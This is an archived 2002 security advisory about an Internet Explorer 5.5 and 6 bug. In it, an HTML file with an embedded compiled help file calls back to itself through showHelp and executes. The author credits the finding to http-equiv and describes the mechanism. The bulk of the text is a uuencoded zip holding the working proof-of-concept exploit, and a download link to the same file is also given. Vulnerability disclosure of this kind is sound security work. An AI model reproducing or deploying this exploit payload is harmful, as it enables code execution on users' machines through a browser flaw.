4th Jun 2002 [SBWID-5393]
COMMAND
Internet explorer html file self execution
SYSTEMS AFFECTED
IE5.5 and IE6
Tested on w98 and w2000
PROBLEM
http-equiv from [http://www.malware.com] found a funny bug in Internet
Explorer:
The following file is an html file comprising both scripting and a
complied help file [*.chm].
We inject scripting into the actual help file which is designed to
point back to the html file and execute it. Provided the html file name
contains the \'word\' chm in it, Internet Explorer 5.5 and 6.0 executes
it.
Because it is an html file proper, Internet Explorer opens it. The
scripting inside is then parsed and fired. That scripting is pointing
back to the same file with a showHelp call and because that is
precisely what it is, it executes !
Tested on win98 IE5.5 and IE6. Constructed for win98:
[harmless *.exe - requires positioning of Mshta.exe @
C:\\WINDOWS\\SYSTEM]
File
====
Download from http://www.malware.com/html.zip or uudecode this :
begin 777 html.zip
M4$L#!!0 @ ( ]BORRH^J[)I P \' S 2 ;6%L=V%R92YC:&U;,ETN
M:\'1M[5EY/%3K&W^\'N!+A(Y5*A*1N8\\8L9D:VT$*VS$BA9<QR&Y<9S0P2BE*W
MDH0L*47U4VC10M:ZE&XJ2W$M;:K;0D*XZ4KXS9PS_>9$MWOKMWQ^?\\QW/N<]
M[WF?Y_T^S_L\\SWG/<3C0J(OE 0#K1 =*=,S3;%LY?AP ZD.H\\)RP.HW#*B\"C
M2O_%:XU1UV)],:9*SALE9YHZ?+XM.0^CX\'/,7/ )\'&A4-[&()CJ4Q0,B?3F)
M#R,B?-03]\\5C8I_\\$N16F\\RJTT@?@\'V@2>0?X>:\\Q,E,53H/FHL172AA#!SL
M5RZU=T>E&6= 5S1;D0-B6HP!E>;NX+*$BBKVFBR24%=1:8N<091B)D5T17-U
M<[ 3B8S511<>[DXB752Q_63X@F;KA\"HFJX@H/!U<[%T]J:AM6E%.$S\"&BQW8
M0HXSG<-%B0T8NMHZ.KA0::AH3I*U%L;0TW.A0,!C<.A\"3C#+B</]42!V4>>S
M C<^+Y#%%X:BHEGC-,0:RUBA(3P^\\U_3M,<,2J?0QZEB NC^(70^RV2],, ?
M!;9I33(WMZ<+Z=1 .H.%<:$\'B.P(A !8&\"/\'J4(>G_X#\"^-,M>,%!/)9 @&+
MB;\'C<84LKA <M=[K-O]O:?-Y_F(MX#=C[E_JBT1<!RZ;!WR5,\'^I3./3N0(V
MCQ^ @;RW,%K[%5/\"2(OM<&0* 8NFV.--T::F]J*>+8Z$QF(78NTHIHLH=B2[
M\"(P#5R\"D<QDL,:\\XT)S_L@EWEH EI-%]_5G@G!H6R\"\"###+(((,,,L@@@PPR
MR# &YU%#(!(L %/ 3\" \'5( \'X (&X($ $ CX@ 4$HA\\+,$6:*L 94(\'=9V5A
M@ 06BV0X0 840 !8@!:=[0$>F(IZIJ*?O6@L4 >VJ2@ZG+Q6VHF_6\'P\\)!\\Z
M@#ST16,<.#?H:S$>3 9+ER[46\\\'B\"S@\\KA[!A$0P(9.P.)\'<$/JF,1KK,$/!
MAGGE\'\\E$S*H ^4>\\B\'X&\" D),?DXR. %Z*\'1>CBL\"=;41$2L*#(Y6BX6XH \"
M4/I()0H%;%L5 \'6: =6Y<H,EM #4-R8!):M#&62000899)!!!AEDD$$&&63X
MOX::Y%N DMXX$-0 ZN3!;\'V@ ,\"P:W=$-$7.J<\"@K-S_V$/%ENRIF177,E\\?
MT#19PK/;S<]0-CP;V;GB87(R)RW)JS!6[JA/X=;=2O7%W_]ZNLPEQSOWY(PD
MO=T [&37U\"B!R^6DT)&^D<NWN:U]&\"=\\5,I&G\'I6X!,_Y<3 A&:CIQ5&3A..
M4=U/$DJ9+<H7.,J8[2GJ9.8CJZ@(95 N]DY/6ULN\\*>IE>?\'[2 <2FWJ\'C:B
M#X=VI/57WBKS\"_8^G1<>&23T\"I)[-ZUXY_3 _+J1*8V65D64,Y<*<BE6UE?(
M9I9DJ_>GSC][UMI\\Z[I66?NJ#54GT_+W6/IWJ#ULU9ZQ!1T9T=I9UQ1B^:HS
MHOKGQJY7J@6:0JW.S/0,O84IQ,O=:)LI(RV][N-\'RI1K[N66M3;4>A:N\"&_1
M->S1EWOF/)S;U:H^LWQ3\\_N6LN+Q_5NN<E5C?MU+;\"E1ZR=-QA^,K[[Z(L1[
MP870WA>;[C=UV$U<:[_V1>.6MH*%\"1,Z]JW-7./]H&TS-SIZ:!,//SE[)/_%
M<L$FNYU),:=7153\\\\;KKX5-[9XM[SU>7UYTM6H.N.=VIV:7UKK8T\\\\S]L()6
MFQ++GRW?>7J.-&XQ.Z\'KZJAC5S\\04NIY]\'3%A_2N8F[\"W>S,M(.T)X$S\'\\QI
M(\"4WO!]>34C*P38?)M57S#D6_N%QSB^;GV%^J*J+#MZ84GEU\"_=EA%_J%H\\W
MP6E\'?\"L3LSD9NL<9@UT-V>Q,U_#WZ&H;Q0/U+;KQRQ7:XOSEAJW/SYV?\\7*2
ME?P T^VB4/X KM;/W,;H=5_:WIQX<X_?4VT4S3ZX+F\':VJNUW[C=%K9U^\'ZO
MR_$2_!$WYYDWXI,\\ZK_#X9YN-M\\W5]NZ/OYV3WN4S@&*I?6^^%FQ0QN\\QK]R
MZ5UNN7?:$;1-WMW\"J(HY?/(MAT:UON\\=S+.S$NV+ZE42FQ?EYAN&]P[6)S;J
MOEQT*\':_ZP]OFX[<:2*;5<0=4<K8_,!:2*6WA3Z9&$7=5*EY8G/<J9Q=&_H\\
M3&LNW[P>Y;\'\\-Q_:Y@W/YE60!4E/?PJ*\'W94K\"]W41F?+[A8O:[\'4EUGU<%G
MYHYAFM<.M57Y\'FD*;LVY^<I\'WB_;Y>*K!_2P>=C@W(NOPRU5+IFWW*O<_M;[
M:J\"GS]!]50/OI/J1<FQD;NH9OX#=@SMZUBYJ%@2F/IYG$&8Z4=-G1Y$/BZV;
M1E?RI+_)?9C;->U%3<*K;J^IMLDJS4\'$VGW3C\"I[-?O]U6K/8WU/52SH5K5C
MENVQ-+QZY[S3V]ED]A\'ZC56II_J/9[7IGW*](;R=4!6=G\\BR+5T_5,LKNGPQ
MSH\"0YU:T=-.UY;/FWEVH+$R<Z):1+MPFUW9<9Y+-G/8,!7.\'[XSK7,P71@GO
M3E3.2!2ZR:4?WS:I37%.@>O5J#+-I^16APTSNJ-Q-8/7M\'_RXEL\'3.Q()M!R
M$[L;JT\\T[:U/MF\'?FK\' ^)> 9<LO,4XNPY4$Q1ND,P*.K;@LI.TTO+MS9?NN
M=DW-5,==[,+ (#^4==RRRQA]SL6CVN:QQ2OUSY2&T(K&%?GPY=.7W:VU)^W9
MTW=H^JZ!Z5PM816[V.E\"MY;.KH,Z>=4G5_:<P_?-G2_WEOOP4)\'<K9B&6;,N
M1ZS/N]5F8\' KY43>,H^28#R[?7Q(S&!)6M3&F\'6EUH&X>WNIB0IW$O>OO[4_
ME36Y*+1/<.@5FO1V[9N^-3T#R:?2/\'HWS?R#I\'A]VMJ\"Z.*8IGWOMJ9@6E73
M4 IH.G8&O7GR^<U#[YZC\"T:&W6U]^N45WUR]TER>@F4?6Q1W=L]OX7,G8.)T
M)S*TO;\"F[9:NX><T8L\\5GM2:KZI>6#K30MAA?-VI</ILPN*(*S=2*Z=$]\"3$
M3C%9, $=UC#-><V5-ZE1L_]X<O5YF\\8,7KCS=$:6R78-@T>EUTPUISS?-3_X
M5&&\\I^DS=\"I?!Z6=\\DMHK)\'\\&I^[& 4\\XSI^3O+VE.2LE)1P9M6Y$V7%B5ZG
MIQUV=W7),JHWIW+R;U[QHM\\<Z*TO_LTQN)-3O$/%^U*\\I7?!\"7+:$VK:J=F!
MC6&X/3K4_C.K68_?!^\'>JMXG;E_3Y1>GPBFH/\'ZOOJ:2LP\"?@#Y]H/KP(R=C
M*C^+^_!\"OTG&@I##]K6\'#[LG9776?NB_3>V\\5T<K\"%A_LS^@<^#[*8ZYFRXV
M$ 8C9J\\>&8[OVO6/Q[N.<B;I/ZA7-M\'WVW_T0<,\\[E&_H:?L9L=LOUK/+N+L
M^/@?=X=PB<1S=W[,2>DR6]2CX?_J&*-E/W>U?X[ALUESZBR.Q^[>XWWP85F^
M\\^M[C[(V]O10JQP*LQ,2/OC6.%->4@^A@T[,#TW/+MU?0MW_J,?Q+(:7\'S)@
M457S;@4IK+,]K)]D>>9Y6D3[D<Q93XZR=-\\8%6E7KXPS<AK>&C/5<4M%7<?O
M?4L29^=FE^2EJ[T=-@GV\'&D?W/@X>J\"OU0-$?GSZW7Z7J5\"^([_>-_*26_A(
M1US&8Y\\MQ;KC7OX[S]06(/VG@)+H,!8=\'_]YX/:=1\"GRTSD6XN_[5A8\"!I\\3
M*+1B\\AA! 2RNT\"2$SQ&RC/5]@K!8/$/<$O\'BE@\"U1!S4IT!]+-02($V6N#4S
M$[<D(M2\'1Z!9)$C\'#)IEQI9*<1\"#&1-J3:$6LD@B24=(D$4SB!-\'AEJ(A^0+
MM1 _\'F8@(/CQ\"$^84@;8+NP/#NH3B8AU0=;Q,#,6X0/,3);:@NW\"#\"2D+1QB
MA\"#U7^(Y-!</,>,8HWG@M4LL(AC@:$OB29\"NA01Q$MC2R$NL0!:)#&D+C\\!Q
M@]N_M49D\'HE2K^#82F9A1V?GSSB1=K\\M4W!52.J!@N!\'U@9)6K<$,VE\\)/EE
M(JJ.A:@ZA%UX[7#$OJ(R<5)F@BGB?D%D$/:$P!ICA8[@-!M= Y+X(%>-E:X=
M3T=X-;9.V%(ILE;AC\"\"E!#(B\\@RI%3BJWY8ON\"8E5A#QA\'T@^DKO!2(3,0OA
M@]D7K7R9!QE)R8J(B\'Q1I/&\']RZX<O[W5?IG48*]DN@@,BO)/A%A%U$/),KH
MN_*32B,CV BC]Q/)GHRH9 DS\'K$6^N>9\\03$SH;[_-X.[U>?9!;...GS^X^$
MF?QYYB_G%\\D@R>P7=SQ8\"FLB=\\ZOV $0SSM)G)F(^L2-J7,RP@?FZ&J$\\XYC
M_W6%C*U;2;X0%4)$/G^1U<L>4TN(^OS&N_XK(S;VZ2EAH(SQBH)8+T,:5;@V
MD.TGT6#^1R.#^_8W%DDUPIY#FGCBESQ\'UL#?>P?3GVN!D;S.66\"@MSNK?P)0
M2P$\"% 4 ( \" /8K\\LJ/JNR:0, !P,P $@ \" MH$
H;6%L=V%R92YC:&U;,ETN:\'1M4$L%!@ ! $ 0 -0,
end
SOLUTION
Nothing yet.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH